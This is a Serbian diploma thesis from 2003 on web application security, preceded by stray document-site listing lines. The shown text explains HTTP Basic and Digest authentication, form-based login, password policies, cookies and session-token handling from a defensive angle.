Test za proveru znanja iz teorijskog dela bezbednosti i zdravlja na radu
Full description
Predavanja na KOLEŽ DE FRANSU 1977-1978
Bezbedno izvodjenje radova i rukovanje opremom i uredjajima svih ucesnika u lancu proizvodnje,prenosa,distribucije i koriscenja elektricne energije.
MR - Android Aplikacija Za Pametne Kuće
metodika srpski jezik
Web mining is the application of data mining techniques to discover patterns from the World Wide Web. Web Server is designed to serve HTTP Content.
Deskripsi lengkap
Full description
Full description
Full description
Full description
aaa
Web programiranje - PrezentacijaFull description
duodenal webDeskripsi lengkap
Auditoria Informatica: Aplicaciones Web
BEZBEDNOST WEB APLIKACIJA
Autor: Stevan Džigurski
Novi Sad, 2003.
SADRŽAJ 1. UVOD...........................................................................................................................................................4 1.1. OSNOVNI BEZBEDNOSNI KONCEPTI................................................................................................................5 1.2. WEB APLIKACIJE.......................................................................................................................................6 1.3. HTTP I BEZBEDNOST WEB APLIKACIJA........................................................................................................7 2. AUTENTIFIKACIJA.................................................................................................................................8 2.1. KORISNIČKA AUTENTIFIKACIJA.....................................................................................................................8 2.1.1. HTTP Basic...................................................................................................................................8 2.1.2. HTTP Digest.................................................................................................................................9 2.1.3. Autentifikacija na osnovu formi..................................................................................................10 2.1.4. Digitalni sertifikati (SSL i TLS)..................................................................................................11 2.2. ENTITETSKA AUTENTIFIKACIJA....................................................................................................................11 2.2.1. Autentifikacija infrastrukture......................................................................................................11 2.3. SISTEMI AUTENTIFIKACIJE ZASNOVANI NA LOZINKAMA....................................................................................12 3. UPRAVLJANJE KORISNIČKIM SESIJAMA.....................................................................................14 3.1. COOKIES................................................................................................................................................14 3.2. SESIJSKI TOKENI (SESSION TOKENS)...........................................................................................................15 3.3. SSL I TLS ...........................................................................................................................................16 3.3.1. Kako SSL i TLS rade?.................................................................................................................17 3.3.2. SSL pregovaranje sa autentifikacijom samo servera .................................................................17 3.3.3. SSL sa klijentskom i serverskom autentifikacijom......................................................................18 4. KONTROLA PRISTUPA I AUTORIZACIJA.......................................................................................19 4.1. DISKRETNA KONTROLA PRISTUPA................................................................................................................19 4.2. OBAVEZNA (MANDATORY) KONTROLA PRISTUPA ..........................................................................................20 4.3. KONTROLA PRISTUPA ZASNOVANA NA ULOGAMA (RBAC).............................................................................20 5. PRAĆENJE RADA - EVENT LOGGING.............................................................................................22 5.1. ŠTA UNETI U LOG ZAPIS............................................................................................................................22 5.2. OBRADA LOG ZAPISA................................................................................................................................23 6. VALIDACIJA PODATAKA.....................................................................................................................24 6.1. STRATEGIJE VALIDACIJE.............................................................................................................................24 6.1.1. Prihvati samo poznate validne podatke......................................................................................24 6.1.2. Odbaci podatke za koje se zna da nisu validni...........................................................................25 6.1.3. Saniraj sve podatke.....................................................................................................................25 6.2. NIKADA SE NE OSLANJATI NA VALIDACIJU PODATAKA SA STRANE KLIJENTA........................................................25 7. BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA........................................................26 7.1. NAPADI NA KORISNIKE..............................................................................................................................26 7.1.1. Cross-site scripting.....................................................................................................................26 7.2. NAPADI NA SISTEM...................................................................................................................................28 7.2.1. Direktne SQL naredbe................................................................................................................28 7.2.2. Direktne OS naredbe...................................................................................................................30 7.2.3. Otkrivanje putanje dokumenta....................................................................................................31 7.2.4. Uključivanje udaljenih datoteka.................................................................................................31 7.2.5. Nulti bajtovi................................................................................................................................32 7.2.6. URL kodiranje.............................................................................................................................33 7.3. MANIPULACIJA PARAMETRIMA....................................................................................................................35 7.3.1. Manipulacija Cookie-a...............................................................................................................35
2
7.3.2. Manipulacija HTTP zaglavljima................................................................................................36 7.3.3. Manipulacija poljima HTML formi............................................................................................37 7.3.4. URL manipulacija.......................................................................................................................38 7.4. OSTALI NAČINI MANIPULACIJE....................................................................................................................40 7.4.1. Konfiguracija sistema.................................................................................................................40 7.4.2. Komentari u HTML.....................................................................................................................40 7.4.3. Stari, bekapovani i fajlovi bez reference.....................................................................................41 7.4.4. Debug naredbe............................................................................................................................42 7.4.5. Default (inicijalni) nalozi...........................................................................................................43 8. PROBLEMI PRIVATNOSTI...................................................................................................................44 8.1. OPASNOSTI PRI UPOTREBI JAVNIH WEB BROWSER-A.......................................................................................44 8.2. UPOTREBA LIČNIH PODATAKA.....................................................................................................................44 8.3. OPCIJA «BROWSER HISTORY»...................................................................................................................44 9. ZAKLJUČAK..........................................................................................................................................45 10. LITERATURA.......................................................................................................................................46 REČNIK.......................................................................................................................................................47
3
1.UVOD Ekspanzija popularnosti Interneta koja se odigrala u prethodnoj deceniji, kao i promovisanje Web browsera kao platforme za distribuciju aplikacija, doveli su do toga da razvoj Web aplikacija predstavlja oblast u kojoj se računari danas najviše koriste. Web bezbednošću se oduvek bavila mala grupa ljudi koja se obicno fokusirala na bezbednost mreža i operativnih sistema. Pojavom sve složenijih Web aplikacija i Web servisa kao i činjenica da se na njima nalazi velika količina poverljivih informacija povlači sa sobom veliku odgovornost programera koji ih kreiraju. Rad se sastoji iz više celina. U prvom poglavlju predstavljeni su osnovni bezbednosni koncepti, pojmovi Web aplikacija i Web servis, kao i mesto i uloga HTTP protokola u bezbednosti Web aplikacija. Tema drugog poglavlja je autentifikacija kao najosetljiviji deo Web aplikacije. Predstavljeni su tipovi autentifikacije, načini na koji funkcionišu, kao i prednosti i mane svakog. Naredno poglavlje se odnosi na mehanizme upravljanja korisničkim sesijama, bez kojih se ne može zamisliti ni jedna Web aplikacija. Naredna tri poglavlja se odnose na kontrolu pristupa i autorizaciju, praćenje rada (logging), i validaciju podataka. U poglavlju «Bezbednosni problemi Web aplikacija» opisani su načini na koji se vrše «napadi» na Web aplikaciju, kao i rešenja za njihovo sprečavanje ili ublažavanje. Osmo poglavlje diplomskog rada bavi se privatnošću korisnika Web aplikacija. U poslednjem poglavlju ovog rada prikazana je konkretna realizacija intranet Web aplikacije namenjena timskom radu na projektima, uz osvrt na prethodno izloženu metodologiju.
4
1.1.Osnovni bezbednosni koncepti Osnovni bezbednosni koncepti koji su važni za informacije na Internetu su raspoloživost, integritet i poverljivost. Raspoloživost se primarno definiše kao mogućnost sistema da pruži uslugu ovlašćenom korisniku. Ovlašćeni korisnici su korisnici kojima su namenjene usluge sistema kako je naznačeno u njegovoj specifikaciji. Svi ostali korisnici osim ovlaštenih korisnika smatraju se neovlaštenim korisnicima. Bezbednost informacija
Poverljivost prevencija neovlašćenog otkrivanja informacija
Integritet prevencija neovlašćene modifikacije informacija
Raspoloživost prevencija neovlašćenog zadržavanja informacija
Integritet predstavlja prevenciju neovlašćene modifikacije, brisanja ili uništavanja elemenata sistema. Integritet je narušen u slučaju napada, koji obično izvršavaju neovlašćeni korisnici, ali koji takođe može izvršiti i ovlašćeni korisnici koji zloupotrebljavaju svoja ovlašćenja. Zbog toga integritet karakteriše mogućnost sistema da se odupre napadima. Poverljivost je mogućnost sistema da onemogući neovlašćenim korisnicima pristup poverljivim informacijama. U stvarnosti time se definiše do koje mere neka informacija treba da je dostupna, odnosno nedostupna neovlašćenim korisnicima. Poverljivost se takođe može posmatrati u širem smislu, odnosno kao prevencija pružanja usluge neovlašćenim korisnicima, čak i ako pružanje takve usluge ne bi značilo štetu za ovlašćene korisnike ili otkrivanje tajnih informacija. Bezbednosni koncepti koji se odnose na osobe koje koriste informacije su autentifikacija, autorizacija i neporecivost. Da bi učinili informaciju dostupnom onome kome je potrebna i kome se može verovati koriste se autentifikacija i autorizacija. Autentifikacija je proces utvrđivanja da li je korisnik, odnosno entitet, ono što tvrdi da jeste. Autorizacija podrazumeva proveru da li određeni korisnik (ili sistem) ima dozvolu da vrši određenu akciju, pod pretpostavkom da se prethodno autentifikovao. Neporecivost je mogućnost sistema da onemogući korisniku poricanje prethodno izvršene akcije.
5
1.2.Web aplikacije Web aplikacije imaju klijent/server arhitekturu koja omogućuje interakciju sa korisnicima ili drugim sistemima koristeći HTTP protokol. Za korisnike, klijent je najčešće Web browser kao što je Internet Explorer ili Netscape Navigator. Krajni korisnik vidi Web stranice i on je sposoban da vrši interakciju slanjem izbora. Funkcije koje se izvode mogu biti jednostavni zadaci kao pretraga lokalnog direktorijuma do visoko sofisticiranih aplikacija koje vrše npr. prodaju u realnom vremenu, B2B i B2C... Tehnologije koja omogućavaju rad Web aplikacija veoma se brzo razvijaju. Tradicionalno jednostavne aplikacije, pravljene sa CGI (Common Gateway Interface), obično su pokretane na Web serveru povezane na jednostavnije baze podataka ( takodje na istom serveru). Moderne aplikacije su tipično napisane u Javi (ili sličnim jezicima ) i pokretane na aplikacionim serverima povezane sa više baza podataka. Nivo prezentacije
Aplikacioni nivo
Nivo podataka
Nivo prezentacije je odgovoran za prezentovanje podataka ka krajnjem korisniku ili sistemu. Web server pruža podatke, a Web browser ih «slaže» u čitljivu formu koju korisnik može da interpretira. To takodje dopušta korisniku da odgovori slanjem povratnih parametara koje Web server propušta kroz aplikaciju. Ovaj nivo prezentacije uključuje Web servere kao što su npr. Apache i MS IIS. On takodje može uključiti komponente aplikacije koje kreiraju izgled stranice. Aplikacioni nivo je pokretač Web aplikacije. On omogućava realizaciju poslovne logike, obradu ulaznih podataka, donošenje odluka, upotreba više podataka i prezentovanje istih do nivoa prezentacije za slanje korisniku. Nivo aplikacije može uključiti tehnologije kao što su: CGI, Java, .NET servisi ili PHP. Nivo podataka se koristi za skladištenje podataka potrebnih za aplikaciju i odgovoran je za privremene i stalne podatke. Savremeni sistemi skladište podatke u XML formatu radi lakše komunikacije sa drugim sistema. Web servisi predstavljaju kolekciju funkcija koje su upakovane kao celina i publikovane na mrežu za upotrebu od strane drugih programa. Web servisi su namenjeni za kreiranje otvorenih distributivnih sistema koji omogućavaju kompanijama i individualnim korisnicima da brzo i jeftino učine da svoje informacije dostupnim širom svetske mreže. Jedan Web servis može koristiti drugi da napravi bolje karakteristike za krajnjeg korisnika. Web servisi za iznajmljivanje automobila i avio prevoz su primeri. Web servisi se zasnivaju na XML-u (extensible Markup Language) i SOAP-u (Simple Object Access Protocol).
6
1.3.HTTP i bezbednost Web aplikacija Sa tehničke strane, osnovni protokol na mreži je HTTP protokol. Njegova jednostavnost načinila ga je vrlo popularnim. Protokol radi na aplikacionom nivou. Klijent šalje zahtev HTTP serveru, HTTP server interpretira zahtev i šalje odgovarajući odgovor klijentu. HTTP klijent
HTTP zahtev predstavljen preko OSI referentnog modela Kada je Web aplikacija postavljena na Web server, korisnici šalju HTTP zahteve za određene stranice. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima, bez ikakvih prepreka prolaze kroz firewall-ove zato što su oni deo legalnog HTTP zahteva. Završni udarac su dali Web servisi (REST, XML i SOAP), koji omogućavaju da se kroz samo jedan port provuku razni formati dokumenata.
7
2.AUTENTIFIKACIJA Autentifikacija je proces utvrđivanja da li je korisnik, odnosno entitet, ono što tvrdi da jeste. Često dolazi do zabune šta je autentifikacija, a šta je upravljanje sesijama (session management). Korisnici su obično autentifikovani sa korisničkim imenom i lozinkom ili sličnim mehanizmom. Kada je prvi put uspešno izvršena autentifikacija, sesijski token (session token) je postavljen u korisnikov browser, skladišten u cookie. To omogućava browseru da pošalje sesijski token svaki put kada je upućen novi zahtev, što predstavlja entitetsku autentifikaciju. Korisnička autentifikacija se vrši samo jednom u toku sesije, dok se entitetska autentifikacija vrši prilikom svakog zahteva. Postoje dva tipa autentifikacije: •Korisnička autentifikacija je proces određivanja da li je korisnik ono što tvrdi da jeste. •Entitetska autentifikacija je proces određivanja da li je entitet (sesijski token) ono što tvrdi da jeste. Razmotrimo situaciju kada korisnik pristupa stranicama za administraciju jednog elektronskog trgovinskog sajta. Posle uspešno obavljene korisničke autentifikacije sistem vrši entitetsku autentifikaciju koja je potrebna u slucaju da želimo da pređemo na neku drugu stranicu, a da izbegnemo ponavljanje korisničke autentifikacije.
2.1.Korisnička autentifikacija 2.1.1.HTTP Basic HTTP protokol definiše jednostavan okvir za autentifikaciju. HTTP klijent, npr. Web browser šalje zahtev serveru za pristup zaštićenim stranicama, Web server vraća klijentu HTTP 401 statusni kod: HTTP/1.1 401 Authorization Required
Zatim klijent šalje drugi zahtev ovaj put uključujući Authenticate header koji sadrži njegove akreditive za serverov upit. Ako server prihvati akreditive klijenta poslaće traženu stranicu, u suprotnom šalje odgovor 401 neautorizovanog pristupa da obavesti klijenta da je autentifikacija propala. Postoji više načina za obavljanje korisničke autentifikacije preko HTTP-a. Najjednostavniji metod je HTTP Basic autentifikacija.
8
HTTP Basic autentifikacija se zasniva na modelu da se korisnik mora autentifikovati sa korisničkim imenom i lozinkom (koji se obično unose u dialog box) za svaki domen. Oni se šalju serveru odvojeni karakterom “:”, kriptovani base64 metodom. HTTP Basic autentifikacija je nesiguran metod filtriranja neautorizovanog pristupa resursima na HTTP serveru. Ona je bazirana na pretpostavci da je veza između klijenta i servera sigurna. Takođe, ova autentifikacija ima problem da ne postoji mehanizam za “logout”, što pri upotrebi jednog Web browser-a od strane više korisnika stvara problem.
2.1.2.HTTP Digest Postoje dve forme HTTP Digest autentifikacije koje su napravljene da spreče problem presretanja korisničkog imena i lozinke. Originalna specifikacija je razvijena kao jedna ekstenzija za HTTP 1.0, a unapređena je za HTTP 1.1. Svrha HTTP Digest autentifikacione šeme je da omogući korisnicima da dokažu svoje korisničko ime i lozinku bez otkrivanja aktuelne lozinke. HTTP Digest mehanizam koristi MD5 hash algoritam. Mehanizam HTTP Digest autentifikacije razvijen je da omogući generalnu upotrebu, jednostavnu implementaciju i autentifikacioni mehanizam koji se može koristiti preko kanala koji nisu kriptovani. Važan deo pri sprovođenju autentifikacije je slanje dodatnih podataka. U slučaja da se sa zahtevom ne šalju jedinstveni podaci napadač bi bio u mogućnosti da jednostavno ponovi digest. Proces autentifikacije počinje sa odgovorom 401 - neautorizovani pristup, kao i kod HTTP Basic autentifikacije. Zagljavlje WWW-Authenticate header, koje zahteva eskplicitnu autetifikaciju se dodaje, nakon čega se generiše dodatni parametar nonce i izračunava digest. Ovako izgleda izračunavanje: 1.string “A1” se sastoji od korisničkog imena, oblasti i lozinke koji su spojeni dvotačkama : owasp:[email protected]:password, 2.Izračunava se MD5 hash ovih stringova (128 bitni heksadecimalni izlaz), 3.String “A2” se sastoji od HTTP metoda i URI-a (npr. GET:/index.php), 4.Izračunava se MD5 hash funkcija od “A2”, 5.Spajaju se A1 i A2 sa dvotačkama, 6.Izračunava se MD5 hash funkcija ovakvog stringa. Kao što je već rečeno, HTTP 1.1 specificira unapređenu digest šemu, koja pruža dodatno zaštitu za: -napade ponavljanjem, -obostranu autentifikaciju, -integritet zaštite.
9
Digest šema u HTTP 1.0 je osetljiva na napade ponavljanjem. Ovo proizilazi iz toga što napadač može da ponovi tačno izračunati digest za isti resurs, te da pošalje isti zahtev serveru. Poboljšana digest šema u HTTP 1.1 uključuje NC parametar ili brojanje nonce-a u autorizaciono zaglavlje. Ovaj osmocifreni broj u heksadecimalnoj predstavi se uvećava svaki put kada klijent podnese zahtev sa istim nonce-om. Server mora da proveri da li je NC veći od poslednje primljene NC vrednosti koju je primio, te da ne uvaži ponovljene zahteve. Druga poboljšanja HTTP 1.1 šeme su integritet zaštite i obostrana autentifikacija, što klijentima omogućuje da autetifikuje servere, kao i serverima da autentifikuje klijente.
2.1.3.Autentifikacija na osnovu formi Umesto oslanjanja na autentifikaciju na nivou protokola, Web bazirane aplikacije koriste kod sadržan u samim Web stranicama. Ovo omogućava projektantima da predstave zahtev za korisničkim podacima (korisničko ime i lozinka) kao normalni deo aplikacije sa svim HTML mogućnostima koje se odnose na internacionalizaciju i pristupačnost. Od suštinske važnosti je da se forme autetifikacije podnose upotrebom HTTP POST zahteva, detaljniji pregled će biti dat u daljem tekstu. HTTP GET zahtev se pojavljuje u history-u korisnikovog browsera, tako da korisničko ime i lozinka mogu biti vidljivi i ostalim korisnicima istog browsera. Uobičajena šema u Web aplikacijama je da se korisniku prethodno popune polja kad god je to moguće. Korisnik koji se vraća na prethodno korišćenu aplikaciju može želeti da potvrdi informacije o svom profilu. Većina aplikacija će prethodno popuniti formu sa trenutno važećim podacima i zahtevati od korisnika da izmeni podatke koji su netačni. Polja sa lozinkama aplikacija nikada ne treba da popunjava. Najbolji pristup je da se ostavi prazno polje za lozinku i da se od korisnika zahteva da potvrdi trenutnu lozinku, kao i dva polja za unos i potvrdu nove lozinke. U većini slučajeva stranica za izmenu lozinke treba da se nalazi odvojeno od ostalih podataka vezanih za korisnički profil. Ovakav pristup ima dve prednosti. Korisnici mogu nepažnjom da ostave prethodno popunjenu formu na ekranu dopuštajući pri tome, nekome sa fizičkim pristupom računaru, da otkrije lozinku. Isto tako, ako aplikacija dopusti (kroz neki bezbednosni propust) drugom korisniku da vidi stranicu sa prethodno popunjenom lozinkom za nalog drugog korisnika, “View Source” će ponovo otkriti lozinku u vidu običnog teksta. Primedba: autentifikacija zasnovana na formama zahteva od projektanata sistema da izgrade autentifikacioni protokol koji će se nositi sa istim problemima koji se pravazilaze upotrebom HTTP digest-a. Projektanti moraju obratiti pažnju na sledeće: ukoliko nije upotrebljen SSL, forme podnete upotrebom HTTP GET ili HTTP POST zahteva, podatke (korisničko ime i lozinku) prenose u vidu običnog teksta.
10
2.1.4.Digitalni sertifikati (SSL i TLS) SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbede klijentsku, serversku ili obostranu autetifikaciju entiteta. Detaljni opisi mehanizama mogu se naći u SSL i TLS delovima ovog rada. Digitalni sertifikati su mehanizmi za autentifikaciju sistema, a pored toga predstavlaju i mehanizam za distribuciju ključeva u kriptografskim razmenama (uključujući i autentifikaciju po potrebi). Razni formati sertifikata nalaze se u upotrebi. Najšire prihvaćen je X509 v3 sertifikat International Telecommunication Union-a (pogledati RFC 2459). Još jedan raširen kriptografski protokol za poruke je PGP. Iako su delovi komercijalnog PGP-a svojinski zaštićeni, OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC 2440). Digitalni sertifikati se najviše koriste u Web sistemima pri konektovanju na bezbedne (secure) Web sajtove (SSL). Većina Web sajtova radi isključivo sa autentifikacijom na serverskoj strani, čak i ako je autentifikacija na strani klijenta moguća. Za sisteme visoke bezbednosti autentifikacija na klijentskoj strani je neophodna, tako da je potrebno postaviti i šemu za distribuciju sertifikata.
2.2.Entitetska autentifikacija Upotreba cookie-a Cookie-ji se često koriste za autentifikaciju korisničkog browser-a, kao deo mehanizma za upravljanje sesijama. Ova tematika je detaljnije opisana u delu koji se odnosi na upravljanje sesijama. Napomena o referer zaglavlju: Referer zaglavlje se šalje sa HTTP zahtevom klijenta da bi se utvrdilo na koj način je klijent došao do URL-a tražene stranice. Ovakav način na prvi pogled može da se učini zgodnim za proveru da li korisnik pratio korake u određenoj aplikaciji ili je URL dobio sa poverljivog domena (trusted domain). Međutim, ovakvo zaglavlje stvara korisnikov browser, tako da korisnik može da menja ovo zaglavlje, te ga zbog toga ne bi trebalo koristiti za autentifikaciju.
2.2.1.Autentifikacija infrastrukture DNS nazivi Česte su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. IP adrese ili DNS nazivi su naizgled načini za autentifikaciju. Međutim usled specičfinih nedostataka vezanih za bezbednost DNS-a, ova metoda bi trebalo da se koristi jedino za brzu i letimičnu proveru. Prevara sa IP adresama
11
Prevare sa IP adresama moguće su pod određenim okolnostima, tako da bi projektanti trebalo to da imaju na umu. U opštem slučaju trebalo bi koristiti gethostbyaddr() , umesto gethostbyname(). Za jaču autentifikaciju treba upotrebiti X.509 sertifikat ili implementirati SSL.
2.3.Sistemi autentifikacije zasnovani na lozinkama Korisnička imena i lozinke su danas najčešći način autentifikacije. Usled različitih zahteva koje šema održavanja lozinki treba da zadovolji, lozinke su često najslabija karika u arhitekturi autentifikacije. Ovo je najviše zbog ljudskog faktora, te se samo donekle može ublažiti tehničkim sredstvima. U daljem tekstu su data različita rešenja, svaka sa svojim prednostima i manama. Kao i uvek, sistemi za implementaciju autentifikacije bi trebalo da procenjuju rizik i prednosti za svaki od mogućih modela pretnje. Korisnička imena Iako korisnička imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loše uvesti neka ograničenja za korisnička imena. Ime koje je na neki način izvedeno od korisnikovog ličnog imena može napadaču da nagovesti o kome se radi i sl. Druga korisnička imena, kao na primer, broj socijalnog ili poreski broj mogu imati i zakonske posledice. Email adrese nisu dobra korisnička imena iz razloga opisanih u daljem tekstu. Skladištenje korisnčkih imena i lozinki Svaki sistem mora da sadrži skladište sa korisničkim imenima i odgovarajućim lozinkama koje će se koristiti u procesu autentifikacije. Ovakav pristup se još uvek primenjuje kod Web aplikacija koje koriste ugrađena skladišta podataka u operativnom sistemu, kao što je Windows NT. Ovakva skladišta moraju biti bezbedna. Lozinke ne bi trebalo da budu dostupne administratorskim korisnicima na uvid. Deosta je česta tehnika da se nad lozinkama koriste hash fukcije (kao što je SHA-1). Sprovođenje kvaliteta lozinki Pojam kvaliteta lozinke se odnosi na entropiju lozinke i od presudne je važnosti za bezbednost korisničkih naloga. Dobru lozinku je nemoguće pogoditi. Tipična lozinka ima najmanje osam karaktera, pri čemu jedan alfanumerik, upotreba malih i velikih slova, jedan specijalan karakter (a da nije u A-Z ili 0-9). U Web aplikacijama posebnu pažnju treba posvetiti metakarakterima. Zaključavanje lozinki Ako se napadaču ne spreči, on lozinke nagađa veći broj puta. Vrlo je verovatno da će pogoditi.. Mehanizme sprečavanja nagađanja lozinke trebalo bi postaviti tako da blokiraju nalog u slučaju kada broj pokušaja logovanja pređe neku unapred zadatu vrednost. Preporučljiv broj pokušaja logovanja je pet. Ovakvi mehanizmi, međutim imaju nedostatke. Moguće je da napadač pokuša da pogodi veći broj slučajno izabranih lozinki na poznatim nalozima te tako zaključa ceo sistem korisnika. Kako sistem zaključavanja lozinki treba da štiti od napada, logična strategija je da se korisnički nalozi zaključaju na
12
nekoliko sati. Na ovaj način napadač će se značajno usporiti, dok će pravim korisnicima pristup biti i dalje omogućen. Starenje i istorija lozinki Rotacija lozinki je u opštem slučaju dobra stvar. Ovo daje lozinkama odgovarajući životni vek. Naravno ako se od naloga koji već “provaljen” zatraži da obnovi svoju lozinku sve prednosti nestaju. Sistem za resetovanje lozinki Sistemi za resetovanje lozinki su u širokoj upotrebi. Oni omogućavaju korisniku da resetuje svoju lozinku odmah bez pozivanja administratora. Ovo dovodi do izlaganja korisničkog naloga riziku u slučajevima kada je lozinku potrebno promeniti korisniku koji ne može da se autentifikuje. Postoji nekoliko strategija kojima se ovo izvodi. Jedna je da se definiše skup pitanja koja se postavljaju nekome ko tvrdi da je korisnik. Ova pitanja bi trebalo da budu u slobodnoj formi. Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora, a ne da koristi ista pitanja za sve korisnike. Na ovakav način stepen entropije se znatno uvećava. Potrebno je obratiti pažnju da se u okviru iste sesije nikada ne podnose na potvrdu zajedno pitanja i odgovori. Na primer za vreme registracije klijentu se može slati ili pitanje ili odgovor, ali nikada oba zajedno. U slučaju kada sistem koristi email adrese za dostavljanje novih lozinki korisnicima, lozinke bi trebalo da se promene prvi put kada se novi korisnik loguje sa promenjenom lozinkom.
13
3.UPRAVLJANJE KORISNIČKIM SESIJAMA HTTP je protokol bez održavanja stanja (stateless), jer se konekcija klijenta i servera uspostavlja prilikom upućivanja klijentovog HTTP zahteva i dobijanja odgovora od servera, a u ostalim vremenskim periodima je nema. Primenom mehanizma stanja omogućeno je da višestruki korisnički zahtevi budu međusobno povezani preko “sesije”. Sposobnost razdvajanja i prepoznavanja akcija korisnika za određene sesije je kritična za Web sigurnost. Dok postoji preferirani cookie mehanizam (RFC 2965) za izgrdnju sistema zasnovanih na korisničkim sesijama, stepen bezbednosti sistema će zavisiti od samog Web programera, odnosno od načina na koji primenjuje cookie mehanizam. Većina mehanizma stanja, token sesije (session token) se prenosi između HTTP servera i klijenta. On je najčešće smešten u cookie, može se prenositi i preko statičnog URL-a, kao što može biti sakriven u HTML kodu Web stranice ili u kombinaciji ovih metoda.
3.1.Cookies Često ospravan mehanizam koji je neophodan za primenu mnogih komercijalnih Web aplikacija (online banking i e-commerce). Cookie-ji nisu dizajnirani da čuvaju korisničko ime i lozinku ili bilo koju osetljivu informaciju. Veoma je bitno korektno ih koristiti. Cookie-ji su razvijeni od strane Neatscape-a, a sada su specificirani u RFC 2965. Postoje dve kategorije cookie-a: sigurne ili nesigurne, trajne ili privremene, dajući četiri posebna tipa cookie-a: •trajne i sigurne, •trajne i nesigurne, •privremene i sigurne, •privremene i nesigurne. Trajni cookie-ji su smešteni u tekst dokumentu na strani klijenta i traju do isteka roka (expiry date) koji je postavljen. Privremeni cookie-ji su smešteni u RAM-memoriji na strani klijenta. Uništavaju se kada se browser isljuči ili eksplicitno kada se pokrene log-off skript. Sigurni cookie-ji mogu biti poslati samo preko HTTPS (SSL). Dok nesigurni cookie-ji mogu biti poslati i preko HTTP-a i preko HTTPS-a. Naziv “sigurni” često dovodi do zablude, jer on obezbeđuje sigurnost transporta. Za svaki podatak poslat klijentu smatra se da je pod kontrolom krajnjeg korisnika, bez obzira na korišćene transportne mehanizme. Cookie-ji mogu biti poslati korišćenjem dva glavna metoda, preko HTTP zaglavlja i JavaScript-om. Cookie-ji ne mogu biti čitani niti upisivani preko nekog drugog 14
DNS domena. Ako je sve korektno klijent pri komunikaciji sa domenom A ne može čitati cookie-je domena B, ali postoji dosta slabih tačaka u popularnim Web klijentima koji to dozvoljavaju. Ako se cookie-ji šalju HTTP-om, server odgovara na zahtev sa dodatnim zaglavljem. To zaglavlje govori klijentu da doda te informacije u klijentov cookie dokument ili smesti tu informaciju u RAM. Posle toga svi zahtevi za taj URL od strane browsera sadržaće cookie informaciju kao dodatno zaglavlje u zahtevu. Tipičan cookie koji skladišti sesijski token (session token) izgleda ovako: Domen www.redhat.com
Putanja /
Sigurnost
Istek vremena Ime
Vrednost
FALSE
1154029490
64.3.40.151.16 018996349247 480
Apache
Kolone ove tabele ilustruju šest parametara koji se skladište u cookie. Domen: domen Web sajta koji je kreirao i koji može da čita promenjivu. Putanja: ovaj atribut ograničava vidljivost pojedinih direktorijuma na Web serveru. Ako imamo stranicu http://www.redhat.com/reference , a putanja je /reference, cookie će biti poslat samo za stranice iz direktorijuma /reference. Atribut / nam govori da se putanja odnosi na ceo sajt. Sigurnost: vrednost TRUE/FALSE se odnosi na to da li je SSL konekcija potrebna za dati domen da se pristupi datoj varijabli. Istek roka: predstavlja Unix-ovo vreme trajanja varijable. Unix-ovo vreme je definisano kao broj sekundi od 00:00:00 GMT Jan 1, 1970. Izostavljanje ovog parametra browser će tretirati tako što će cookie smestiti u RAM i izbrisati je kada se browser isljuči. Ime: ime varijable, u ovom slučaju Apache. Dakle, vrednost cookie imena Apache je 64.3.40.151.16018996349247480 i biće uništena 27. jula 2006. za Web sajt čiji je domen http://www.redhat.com. Za jedan domen maksimum cookie-a je 20, a maksimalna veličina je 4kb.
3.2.Sesijski tokeni (Session Tokens) Svi sesijski tokeni (nezavisno od mehanizma stanja) moriju biti jedinstveni, nepredvidivi i otporni na inverzno projektovanje. Sesijski token treba da koristi pouzdan izvor slučajnih karaktera (kao što su generator pseudoslučajnih brojeva, Yarrow, EGADS, itd.). Dodatno, za veću sigurnost, sesijski tokeni treba da budu vezani na neki način za specifičnog HTTP klijenta da spreče upade i replay napade. Generalno algoritmi sesijskih tokena ne bi trebalo da koriste promenljive koje sadrže korisnikove personalne informacije kao npr. korisničko ime, lozinku, adresu i slično.
15
Sesijski tokeni koji koriste najjače kriptografske algoritme mogu biti razbijeni ako dužina ključa nije dovoljno velika. Napadači mogu jednostavno korišćenjem automatskih skriptova “proći kroz” sve mogućnosti. Ključevi tokena moraju biti dovoljno veliki da spreče ovakve brutalne napade, ali imajući na umu izračunavanje algoritama i smanjenje širine propusnog opsega dužina ključeva će biti smanjena. Sesijski tokeni kod kojih ne dolazi do isteka roka validnosti na HTTP serveru mogu omogućiti eventualnom napadaču da pogodi ili brutalno napadne validni autentifikacioni sesijski token. Jedan primer je opcija “Zapamti me” na mnogim manjim e-komerc sajtovima. Ako je uhvaćen cookie nekog korisnika, tada napadač može koristiti token sesije da dodje do tog korisničkog naloga. Dodatno, tokeni sesije mogu biti keširani ili upisani u log listu na proxy serveru, koji ako im vreme isteka na HTTP serveru ne istekne mogu bi takođe iskorišćeni od strane napadača. Da bi sprečili presretanja i brutalne napade na sesije HTTP server može uništavati i regenerisati tokene i time dati napadaču manje vremena da ponovo iskoristi legitiman token. Velik broj Web sajtova zabranjuju ponovno neobuzdano nagađanje lozinke (npr. HTTP server privremeno zatvori korisnički nalog ili zabrani pristup sa te IP adrese). Napadač može pokušavati stotinama ili hiljadama puta da proba različite tokene da pošalje preko URL-a ili cookie-a bez ograničenja servera. Kritične akcije koje vrši korisnik kao što su transfer novca ili značajne narudžbine trebalo bi da zahtevaju od korisnika reautentifikaciju ili generisanje novog sesijskog tokena pre obavljanja važne akcije. Sa popularnošću internet kioska i deljivih računarskih okruženja, sesijski tokeni se izlažu novom riziku. Browser uništava session cookie samo po završetku njegovog rada. Neophodno je da se sesijski tokeni unište kada korisnik napušta aplikaciju. Takodje je neophodno da u aplikaciji postoji opcija logout.
